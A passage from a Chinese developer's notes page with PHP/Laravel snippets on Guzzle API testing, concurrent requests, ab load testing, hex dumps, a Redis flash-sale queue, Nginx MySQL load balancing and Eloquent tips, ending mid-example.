<h3 id="使用Guzzle进行API测试"><a href="#使用Guzzle进行API测试" class="headerlink" title="使用Guzzle进行API测试"></a>使用Guzzle进行API测试</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//https://www.jianshu.com/p/3de203392ec4</span></span><br><span class="line">php composer.phar <span class="built_in">require</span> guzzlehttp/guzzle:~<span class="number">6.0</span></span><br><span class="line">composer global <span class="built_in">require</span> <span class="string">"phpunit/phpunit=5.5.*"</span></span><br><span class="line"></span><br><span class="line">新建一个单元测试</span><br><span class="line">php artisan make:test ReplyTest --unit</span><br><span class="line">单独执行某个测试</span><br><span class="line"> phpunit tests/Unit/ReplyTest.php</span><br><span class="line"> #cat tests/TestCase.php</span><br><span class="line"> &lt;?php</span><br><span class="line"> </span><br><span class="line"> namespace Tests;</span><br><span class="line"> </span><br><span class="line"> use Illuminate\Foundation\Testing\TestCase <span class="keyword">as</span> BaseTestCase;</span><br><span class="line"> </span><br><span class="line"> abstract <span class="class"><span class="keyword">class</span> <span class="title">TestCase</span> <span class="keyword">extends</span> <span class="title">BaseTestCase</span></span></span><br><span class="line"><span class="class"> </span>&#123;</span><br><span class="line">     use CreatesApplication;</span><br><span class="line"> &#125;</span><br><span class="line">cat tests/Unit/ReplyTest.php</span><br><span class="line">&lt;?php</span><br><span class="line">namespace Tests\Unit;</span><br><span class="line">use Tests\TestCase;</span><br><span class="line">use Illuminate\Foundation\Testing\RefreshDatabase;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">ReplyTest</span> <span class="keyword">extends</span> <span class="title">TestCase</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="comment">//https://www.jianshu.com/p/3de203392ec4</span></span><br><span class="line">    protected $client;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">setUp</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;client = <span class="keyword">new</span> \GuzzleHttp\Client( [</span><br><span class="line">            <span class="string">'base_uri'</span> =&gt; <span class="string">'http://httpbin.org'</span>,</span><br><span class="line">            'http_errors' =&gt; false, #设置成 false 来禁用HTTP协议抛出的异常(如 4xx 和 5xx 响应)，默认情况下HTPP协议出错时会抛出异常。</span><br><span class="line">        ]);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">testAction1</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $response = $<span class="keyword">this</span>-&gt;client-&gt;get(<span class="string">'/ip'</span>);</span><br><span class="line">        $body = $response-&gt;getBody();</span><br><span class="line">        </span><br><span class="line">        <span class="comment">//添加测试</span></span><br><span class="line">        $<span class="keyword">this</span>-&gt;assertEquals(<span class="number">200</span>, $response-&gt;getStatusCode());</span><br><span class="line">        $data = json_decode($body, <span class="literal">true</span>);dump($data);</span><br><span class="line">        $<span class="keyword">this</span>-&gt;assertArrayHasKey(<span class="string">'origin'</span>, $data);</span><br><span class="line">        <span class="comment">//$this-&gt;assertArrayHasKey('errormsg', $data);</span></span><br><span class="line">        <span class="comment">//$this-&gt;assertArrayHasKey('data', $data);</span></span><br><span class="line">        <span class="comment">//$this-&gt;assertEquals(0, $data['origin']);</span></span><br><span class="line">        $<span class="keyword">this</span>-&gt;assertInternalType(<span class="string">'string'</span>, $data[<span class="string">'origin'</span>]);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">testAction2</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $response = $<span class="keyword">this</span>-&gt;client-&gt;post(<span class="string">'/post'</span>, [</span><br><span class="line">            <span class="string">'form_params'</span> =&gt; [</span><br><span class="line">                <span class="string">'name'</span> =&gt; <span class="string">'myname'</span>,</span><br><span class="line">                <span class="string">'age'</span> =&gt; <span class="number">20</span>,</span><br><span class="line">            ],</span><br><span class="line">        ]);</span><br><span class="line">        $body = $response-&gt;getBody();</span><br><span class="line">        </span><br><span class="line">        <span class="comment">//添加测试</span></span><br><span class="line">        $<span class="keyword">this</span>-&gt;assertEquals(<span class="number">200</span>, $response-&gt;getStatusCode());</span><br><span class="line">        $data = json_decode($body, <span class="literal">true</span>);</span><br><span class="line">        $<span class="keyword">this</span>-&gt;assertArrayHasKey(<span class="string">'errorno'</span>, $data);</span><br><span class="line">        $<span class="keyword">this</span>-&gt;assertArrayHasKey(<span class="string">'errormsg'</span>, $data);</span><br><span class="line">        $<span class="keyword">this</span>-&gt;assertArrayHasKey(<span class="string">'data'</span>, $data);</span><br><span class="line">        $<span class="keyword">this</span>-&gt;assertEquals(<span class="number">0</span>, $data[<span class="string">'errorno'</span>]);</span><br><span class="line">        $<span class="keyword">this</span>-&gt;assertInternalType(<span class="string">'array'</span>, $data[<span class="string">'data'</span>]);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">&#125;</span><br><span class="line">$ phpunit tests/unit/MyApiTest.php</span><br><span class="line">PHPUnit <span class="number">6.5</span><span class="number">.3</span> by Sebastian Bergmann and contributors.</span><br><span class="line"></span><br><span class="line">array:<span class="number">1</span> [</span><br><span class="line">  <span class="string">"origin"</span> =&gt; <span class="string">"61.135.152.130"</span></span><br><span class="line">]</span><br><span class="line">.F                                                                  <span class="number">2</span> / <span class="number">2</span> (<span class="number">100</span>%)</span><br><span class="line"></span><br><span class="line">Time: <span class="number">1.54</span> seconds, <span class="attr">Memory</span>: <span class="number">12.00</span>MB</span><br><span class="line"></span><br><span class="line">There was <span class="number">1</span> failure:</span><br><span class="line"></span><br><span class="line"><span class="number">1</span>) Tests\Unit\MyApiTest::testAction2</span><br><span class="line">Failed asserting that an array has the key <span class="string">'errorno'</span>.</span><br><span class="line"></span><br><span class="line">D:\php_study\PHPTutorial\WWW\laravel\tests\Unit\MyApiTest.php:<span class="number">46</span></span><br><span class="line"></span><br><span class="line">FAILURES!</span><br><span class="line">Tests: <span class="number">2</span>, <span class="attr">Assertions</span>: <span class="number">5</span>, <span class="attr">Failures</span>: <span class="number">1.</span></span><br></pre></td></tr></table></figure>
<h3 id="guzzle并发"><a href="#guzzle并发" class="headerlink" title="guzzle并发"></a>guzzle并发</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line">use GuzzleHttp\Client;</span><br><span class="line">use Illuminate\Console\Command;</span><br><span class="line">use Psr\Http\Message\ResponseInterface;</span><br><span class="line">use GuzzleHttp\Exception\RequestException;</span><br><span class="line">use GuzzleHttp\<span class="built_in">Promise</span>;</span><br><span class="line">$client = <span class="keyword">new</span> Client([</span><br><span class="line">            <span class="comment">// 基URI  https://www.goozp.com/article/56.html</span></span><br><span class="line">            <span class="string">'base_uri'</span> =&gt; <span class="string">'http://httpbin.org'</span>,</span><br><span class="line">            <span class="comment">// 设置默认请求参数</span></span><br><span class="line">            <span class="string">'timeout'</span>  =&gt; <span class="number">2.0</span>,</span><br><span class="line">        ]);</span><br><span class="line">                $promise = $client-&gt;requestAsync(<span class="string">'GET'</span>, <span class="string">'http://httpbin.org/get'</span>);</span><br><span class="line">        $promise-&gt;then(</span><br><span class="line">            <span class="function"><span class="keyword">function</span> (<span class="params">ResponseInterface $res</span>) </span>&#123;</span><br><span class="line">                echo $res-&gt;getStatusCode() . <span class="string">"\n"</span>;</span><br><span class="line">            &#125;,</span><br><span class="line">            <span class="function"><span class="keyword">function</span> (<span class="params">RequestException $e</span>) </span>&#123;</span><br><span class="line">                echo $e-&gt;getMessage() . <span class="string">"\n"</span>;</span><br><span class="line">                echo $e-&gt;getRequest()-&gt;getMethod();</span><br><span class="line">            &#125;</span><br><span class="line">        );</span><br><span class="line">        <span class="comment">// 初始化每一个非阻塞请求</span></span><br><span class="line">        $promises = [</span><br><span class="line">            <span class="string">'image'</span> =&gt; $client-&gt;getAsync(<span class="string">'/image'</span>),</span><br><span class="line">            <span class="string">'ip'</span> =&gt; $client-&gt;getAsync(<span class="string">'/ip'</span>),</span><br><span class="line">            <span class="string">'png'</span>   =&gt; $client-&gt;getAsync(<span class="string">'/image/png'</span>),</span><br><span class="line">            <span class="string">'jpeg'</span>  =&gt; $client-&gt;getAsync(<span class="string">'/image/jpeg'</span>),</span><br><span class="line">            <span class="string">'webp'</span>  =&gt; $client-&gt;getAsync(<span class="string">'/image/webp'</span>)</span><br><span class="line">        ];</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 等待请求完成</span></span><br><span class="line">        $results = <span class="built_in">Promise</span>\unwrap($promises);dump($results[<span class="string">'ip'</span>]-&gt;getBody()-&gt;getContents());</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 通过键名接收每一个结果</span></span><br><span class="line">        <span class="comment">// function.</span></span><br><span class="line">        dump($results[<span class="string">'image'</span>]-&gt;getHeader(<span class="string">'Content-Length'</span>)) ;</span><br><span class="line">        dump($results[<span class="string">'png'</span>]-&gt;getHeader(<span class="string">'Content-Length'</span>)) ;</span><br></pre></td></tr></table></figure>
<p><a href="https://www.goozp.com/article/56.html" target="_blank" rel="noopener">Guzzle：PHP的HTTP客户端</a></p>
<h3 id="ab-登录"><a href="#ab-登录" class="headerlink" title="ab 登录"></a>ab 登录</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">先用账户和密码登录</span><br><span class="line">用开发者工具找到标识这个会话的Cookie值（Session ID）记下来</span><br><span class="line">执行命令：</span><br><span class="line">一个Cookie情况时：ab －n <span class="number">100</span> －C key＝value http:<span class="comment">//test.com/</span></span><br><span class="line">多个Cookie情况时，设置Header：ab -n <span class="number">100</span> -H “Cookie: Key1=Value1; Key2=Value2” http:<span class="comment">//test.com/</span></span><br></pre></td></tr></table></figure>
<h3 id="查看16进制"><a href="#查看16进制" class="headerlink" title="查看16进制"></a>查看16进制</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">echo <span class="string">'welcome'</span> &gt; file1</span><br><span class="line">$ hexdump file1</span><br><span class="line"><span class="number">0000000</span> <span class="number">6577</span> <span class="number">636</span>c <span class="number">6</span>d6f <span class="number">0</span>a65</span><br><span class="line"><span class="number">0000008</span></span><br><span class="line">$ hexdump -C file1</span><br><span class="line"><span class="number">00000000</span>  <span class="number">77</span> <span class="number">65</span> <span class="number">6</span>c <span class="number">63</span> <span class="number">6</span>f <span class="number">6</span>d <span class="number">65</span> <span class="number">0</span>a              |welcome.|</span><br><span class="line"><span class="number">00000008</span></span><br><span class="line">$ od -x file1</span><br><span class="line"><span class="number">0000000</span> <span class="number">6577</span> <span class="number">636</span>c <span class="number">6</span>d6f <span class="number">0</span>a65</span><br><span class="line"><span class="number">0000010</span></span><br><span class="line"></span><br><span class="line">$ od -xc file1</span><br><span class="line"><span class="number">0000000</span> <span class="number">6577</span> <span class="number">636</span>c <span class="number">6</span>d6f <span class="number">0</span>a65</span><br><span class="line">               w   e   l   c   o   m   e  \n</span><br><span class="line"><span class="number">0000010</span></span><br><span class="line">$ xxd file1</span><br><span class="line"><span class="number">0000000</span>: <span class="number">7765</span> <span class="number">6</span>c63 <span class="number">6</span>f6d <span class="number">650</span>a                    welcome.</span><br><span class="line">$ cat file2</span><br><span class="line"><span class="number">000000</span>: <span class="number">7765</span> <span class="number">6</span>c63 <span class="number">6</span>f6d <span class="number">650</span>a</span><br><span class="line">$ xxd -r file2</span><br><span class="line">welcome</span><br></pre></td></tr></table></figure>
<h3 id="消息队列"><a href="#消息队列" class="headerlink" title="消息队列"></a>消息队列</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">CREATE TABLE <span class="string">`redis_queue`</span>(</span><br><span class="line">    <span class="string">`id`</span> int(<span class="number">10</span>) unsigned NOT NULL AUTO_INCREMENT,</span><br><span class="line">    <span class="string">`uid`</span> int(<span class="number">11</span>) NOT NULL DEFAULT <span class="string">`0`</span>,</span><br><span class="line">    <span class="string">`time_stamp`</span> varchar(<span class="number">24</span>) NOT NULL,</span><br><span class="line">    PRIMARY KEY(<span class="string">`id`</span>)</span><br><span class="line">)ENGINE=InnoDB DEFAULT CHARSET=utf8;</span><br><span class="line"></span><br><span class="line">接收用户请求的user.php</span><br><span class="line"></span><br><span class="line">&lt;?php</span><br><span class="line"><span class="comment">// 加载redis组件</span></span><br><span class="line">$redis = <span class="keyword">new</span> Redis();</span><br><span class="line">$redis -&gt; connect(<span class="string">'127.0.0.1'</span>, <span class="number">6379</span>);</span><br><span class="line">$redis_name = <span class="string">'miaosha'</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 接收用户的id</span></span><br><span class="line">$uid = $_GET[<span class="string">'uid'</span>];</span><br><span class="line"><span class="comment">// 获取一下redis里面已有的数量</span></span><br><span class="line">$num = $redis-&gt;lLen($redis_name);</span><br><span class="line"><span class="comment">// 如果当天人数少于10的时候,则加入这个队列</span></span><br><span class="line"><span class="keyword">if</span> ($num &lt; <span class="number">10</span>) &#123;</span><br><span class="line">    $redis-&gt;rPush($redis_name, $uid.<span class="string">'%'</span>.microtime());</span><br><span class="line">    echo $uid.<span class="string">'秒杀成功'</span>;</span><br><span class="line">&#125; <span class="keyword">else</span>&#123;</span><br><span class="line">    <span class="comment">// 如果当天人数已经达到了10个人,则返回秒杀已完成</span></span><br><span class="line">    echo <span class="string">'秒杀已结束'</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">$redis-&gt;close();</span><br><span class="line"> 处理队列的入库程序</span><br><span class="line"></span><br><span class="line">&lt;?php</span><br><span class="line">include <span class="string">'../include/db.php'</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 加载redis组件</span></span><br><span class="line">$redis = <span class="keyword">new</span> Redis();</span><br><span class="line">$redis -&gt; connect(<span class="string">'127.0.0.1'</span>, <span class="number">6379</span>);</span><br><span class="line">$redis_name = <span class="string">'miaosha'</span>;</span><br><span class="line">$db= DB::getIntance();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 死循环</span></span><br><span class="line"><span class="keyword">while</span> (<span class="number">1</span>) &#123;</span><br><span class="line">    <span class="comment">// 从队列最左取出一个值来</span></span><br><span class="line">    $user = $redis-&gt;lPop($redis_name);</span><br><span class="line">    <span class="comment">// 然后判断这个值是否存在</span></span><br><span class="line">    <span class="keyword">if</span> (!$user || $user==<span class="string">'nil'</span>) &#123;</span><br><span class="line">        sleep(<span class="number">2</span>);</span><br><span class="line">        <span class="keyword">continue</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// 切割出时间</span></span><br><span class="line">    $user_arr = explode(<span class="string">'%'</span>, $user);</span><br><span class="line">    $insert_data = array(</span><br><span class="line">        <span class="string">'uid'</span> =&gt; $user_arr[<span class="number">0</span>],</span><br><span class="line">        <span class="string">'time_stamp'</span> =&gt; $user_arr[<span class="number">1</span>], </span><br><span class="line">        );</span><br><span class="line">    <span class="comment">// 保存到数据库中</span></span><br><span class="line">    $res = $db-&gt;insert(<span class="string">'redis_queue'</span>, $insert_data);</span><br><span class="line">    <span class="comment">// 数据库插入失败的时候的回滚机制</span></span><br><span class="line">    <span class="keyword">if</span> (!$res) &#123;</span><br><span class="line">        $redis-&gt;rPush($redis_name, $user);</span><br><span class="line">    &#125;</span><br><span class="line">    sleep(<span class="number">2</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//释放redis</span></span><br><span class="line">$redis -&gt; close();</span><br></pre></td></tr></table></figure>
<h3 id="将一组数字组合出一个最大值"><a href="#将一组数字组合出一个最大值" class="headerlink" title="将一组数字组合出一个最大值"></a>将一组数字组合出一个最大值</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//https://www.raymondwu.net/2018/08/24/%E5%B0%86%E4%B8%80%E7%BB%84%E6%95%B0%E5%AD%97%E7%BB%84%E5%90%88%E5%87%BA%E4%B8%80%E4%B8%AA%E6%9C%80%E5%A4%A7%E5%80%BC/</span></span><br><span class="line">$items = [<span class="number">50</span>, <span class="number">1</span>, <span class="number">2</span>, <span class="number">9</span>];<span class="comment">//若有一个数组的值为 [50, 1, 2, 9]，那么它的最大组合值就是95021</span></span><br><span class="line"><span class="keyword">for</span> ($i = <span class="number">0</span>; $i &lt; count($items); $i++) &#123;</span><br><span class="line">	<span class="keyword">for</span> ($j = $i + <span class="number">1</span>; $j &lt; count($items); $j++) &#123;</span><br><span class="line">		$a = (string)$items[$i];</span><br><span class="line">		$b = (string)$items[$j];</span><br><span class="line">		<span class="keyword">if</span> ($a . $b &lt; $b . $a) &#123;</span><br><span class="line">			$items[$i] = $b;</span><br><span class="line">			$items[$j] = $a;</span><br><span class="line">		&#125;</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br><span class="line">echo implode(<span class="string">''</span>, $items);</span><br></pre></td></tr></table></figure>
<h3 id="Nginx-部署-MySQL-负载均衡"><a href="#Nginx-部署-MySQL-负载均衡" class="headerlink" title="Nginx 部署 MySQL 负载均衡"></a>Nginx 部署 MySQL 负载均衡</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">stream &#123;</span><br><span class="line">        upstream dbserver &#123;</span><br><span class="line">                server <span class="number">172.16</span><span class="number">.121</span><span class="number">.131</span>:<span class="number">3306</span>;</span><br><span class="line">                server <span class="number">172.16</span><span class="number">.121</span><span class="number">.132</span>:<span class="number">3306</span>;</span><br><span class="line">                server <span class="number">172.16</span><span class="number">.121</span><span class="number">.133</span>:<span class="number">3306</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        server &#123;</span><br><span class="line">            listen <span class="number">3307</span>;</span><br><span class="line">            proxy_pass dbserver;</span><br><span class="line">        &#125;</span><br><span class="line">&#125;</span><br><span class="line">定义了三台从数据库服务器，分别是 <span class="number">172.16</span><span class="number">.121</span><span class="number">.131</span> ~ <span class="number">133</span>。当我以 <span class="number">3307</span> 端口请求服务器时，服务器就会将我的请求代理到服务器组里，并按照顺序请求。</span><br></pre></td></tr></table></figure>
<h3 id="php-artisan"><a href="#php-artisan" class="headerlink" title="php artisan"></a>php artisan</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">php artisan list</span><br><span class="line">php artisan list make</span><br><span class="line">Available commands <span class="keyword">for</span> the <span class="string">"make"</span> namespace:</span><br><span class="line"> make:command      Create a <span class="keyword">new</span> command <span class="class"><span class="keyword">class</span></span></span><br><span class="line"> make:console      Create a new Artisan command</span><br><span class="line"> make:controller   Create a <span class="keyword">new</span> resource controller <span class="class"><span class="keyword">class</span></span></span><br><span class="line"> make:event        Create a new event class</span><br><span class="line"> make:middleware   Create a <span class="keyword">new</span> middleware <span class="class"><span class="keyword">class</span></span></span><br><span class="line"> make:migration    Create a new migration file</span><br><span class="line"> make:model        Create a <span class="keyword">new</span> Eloquent model <span class="class"><span class="keyword">class</span></span></span><br><span class="line"> make:provider     Create a new service provider class</span><br><span class="line"> make:request      Create a <span class="keyword">new</span> form request <span class="class"><span class="keyword">class</span></span></span><br><span class="line"><span class="class"></span></span><br><span class="line">php artisan migrate:refresh -h</span><br><span class="line">php artisan make:controller -h</span><br><span class="line"></span><br><span class="line">php artisan list app</span><br></pre></td></tr></table></figure>
<h3 id="Laravel-Eloquent-提示和技巧"><a href="#Laravel-Eloquent-提示和技巧" class="headerlink" title="Laravel Eloquent 提示和技巧"></a>Laravel Eloquent 提示和技巧</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">$article = Article::find($article_id);</span><br><span class="line">$article-&gt;increment(<span class="string">'read_count'</span>);</span><br><span class="line">Article::find($article_id)-&gt;increment(<span class="string">'read_count'</span>);</span><br><span class="line">Article::find($article_id)-&gt;increment(<span class="string">'read_count'</span>, <span class="number">10</span>);      <span class="comment">// +10</span></span><br><span class="line">Product::find($produce_id)-&gt;decrement(<span class="string">'stock'</span>);               <span class="comment">// -1</span></span><br><span class="line">$user = User::findOrFail($id);</span><br><span class="line">$user = User::firstOrCreate([<span class="string">'email'</span> =&gt; $email]);</span><br><span class="line"> public <span class="function"><span class="keyword">function</span> <span class="title">approvedUsers</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>&#123;</span><br><span class="line">    retrun $<span class="keyword">this</span>-&gt;hasMany(<span class="string">'App\User'</span>)-&gt;where(<span class="string">'approved'</span>, <span class="number">1</span>)-&gt;orderBy(<span class="string">'email'</span>);</span><br><span class="line"> &#125;</span><br><span class="line">$users = User::find([<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>]);</span><br><span class="line">$users = User::where(<span class="string">'approved'</span>, <span class="number">1</span>)-&gt;get();</span><br><span class="line">$query = Author::query();</span><br><span class="line"></span><br><span class="line">$query-&gt;when(request(<span class="string">'filter_by'</span>) == <span class="string">'likes'</span>, <span class="function"><span class="keyword">function</span> (<span class="params">$q</span>) </span>&#123;</span><br><span class="line">    <span class="keyword">return</span> $q-&gt;where(<span class="string">'likes'</span>, <span class="string">'&gt;'</span>, request(<span class="string">'likes_amount'</span>, <span class="number">0</span>));</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">$query-&gt;when(request(<span class="string">'filter_by'</span>) == <span class="string">'date'</span>, <span class="function"><span class="keyword">function</span> (<span class="params">$q</span>) </span>&#123;</span><br><span class="line">    <span class="keyword">return</span> $q-&gt;orderBy(<span class="string">'created_at'</span>, request(<span class="string">'ordering_rule'</span>, <span class="string">'desc'</span>));</span><br><span class="line">&#125;);</span><br><span class="line">$query = User::query();</span><br><span class="line"></span><br><span class="line">$query-&gt;when(request(<span class="string">'role'</span>, <span class="literal">false</span>), <span class="function"><span class="keyword">function</span> (<span class="params">$q</span>) <span class="title">use</span> (<span class="params">$role</span>) </span>&#123; </span><br><span class="line">    <span class="keyword">return</span> $q-&gt;where(<span class="string">'role_id'</span>, $role);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">$authors = $query-&gt;get();</span><br><span class="line">public <span class="function"><span class="keyword">function</span> <span class="title">author</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">return</span> $<span class="keyword">this</span>-&gt;belongsTo(<span class="string">'App\Author'</span>)-&gt;withDefault();</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// whereRaw</span></span><br><span class="line">    $orders = DB::table(<span class="string">'orders'</span>)</span><br><span class="line">            -&gt;whereRaw(<span class="string">'price &gt; IF(state = "TX", ?, 